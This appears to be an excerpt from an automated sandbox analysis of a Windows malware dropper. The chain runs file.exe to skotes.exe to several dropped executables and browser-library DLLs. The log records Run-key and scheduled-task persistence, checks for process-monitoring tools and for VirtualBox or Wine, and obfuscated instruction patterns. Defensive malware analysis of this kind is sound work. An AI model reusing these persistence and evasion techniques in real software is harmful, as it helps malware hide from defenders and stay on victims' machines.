Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00219030 push 26811273h; mov dword ptr [esp], edx	2_1_00219135
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00219030 push 5140975Ah; mov dword ptr [esp], ebp	2_1_0021B255
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00219030 push ebp; mov dword ptr [esp], esi	2_1_0021B2B7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_002A7A3C push 7177F1BEh; mov dword ptr [esp], esi	2_1_002A7A59
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_002A6A10 push edi; mov dword ptr [esp], 6DB650FFh	2_1_002A6A37
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_002A6A10 push eax; mov dword ptr [esp], ebx	2_1_002A6A63
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0027E41C push 7F5AA947h; mov dword ptr [esp], edi	2_1_0027E43E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0027E41C push 0C5A05D8h; mov dword ptr [esp], ebp	2_1_0027E473
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00288079 push 51EE6019h; mov dword ptr [esp], esi	2_1_002880A1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00288079 push edi; mov dword ptr [esp], edx	2_1_00288132
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00267A41 push edx; mov dword ptr [esp], edi	2_1_00267A62
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0028948B push esi; mov dword ptr [esp], ebx	2_1_002894E2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00263EE0 push eax; mov dword ptr [esp], 1D79AF3Fh	2_1_00263F05
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00263EE0 push ebx; mov dword ptr [esp], 6BFFF4D7h	2_1_00263F65
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00263EE0 push esi; mov dword ptr [esp], eax	2_1_00263FEA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00224523 push ebp; mov dword ptr [esp], eax	2_1_00224527
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00215B04 push edi; mov dword ptr [esp], ecx	2_1_00215B70
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_002A616E push esi; mov dword ptr [esp], 23554E76h	2_1_002A619A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00224168 push edx; mov dword ptr [esp], ebx	2_1_002241A5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0026777B push ecx; mov dword ptr [esp], edx	2_1_00267799
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0026777B push edi; mov dword ptr [esp], ebp	2_1_002677C1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0026777B push 3F5B8FAFh; mov dword ptr [esp], edx	2_1_002677E0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0020D745 push 362498C1h; mov dword ptr [esp], eax	2_1_0020D703
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0020D745 push 52552AE7h; mov dword ptr [esp], ebx	2_1_0020D928
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0029EFAD push edx; mov dword ptr [esp], esi	2_1_0029EFD4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_002A75E7 push 593AB154h; mov dword ptr [esp], esi	2_1_002A761A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_002889D5 push ebx; mov dword ptr [esp], ebp	2_1_002889F4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0007F2C8 push ebx; mov dword ptr [esp], ebp	2_1_000801D1

Source: file.exe	Static PE information: section name: entropy: 7.9885452868625055
Source: file.exe	Static PE information: section name: hhtplcno entropy: 7.952903157430066
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.9885452868625055
Source: skotes.exe.0.dr	Static PE information: section name: hhtplcno entropy: 7.952903157430066
Source: random[1].exe.6.dr	Static PE information: section name: ajtwcbtw entropy: 7.955635022741711
Source: 150f368769.exe.6.dr	Static PE information: section name: ajtwcbtw entropy: 7.955635022741711
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.982418242990123
Source: random[1].exe0.6.dr	Static PE information: section name: dkoidnzf entropy: 7.952952605268814
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name: entropy: 7.982418242990123
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name: dkoidnzf entropy: 7.952952605268814
Source: random[1].exe1.6.dr	Static PE information: section name: plxaxrgl entropy: 7.953737574598444
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name: plxaxrgl entropy: 7.953737574598444
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.770883766364083
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name: entropy: 7.770883766364083

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99fdcf0a11.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99fdcf0a11.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99fdcf0a11.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	File opened: HKEY_CURRENT_USER\Software\Wine
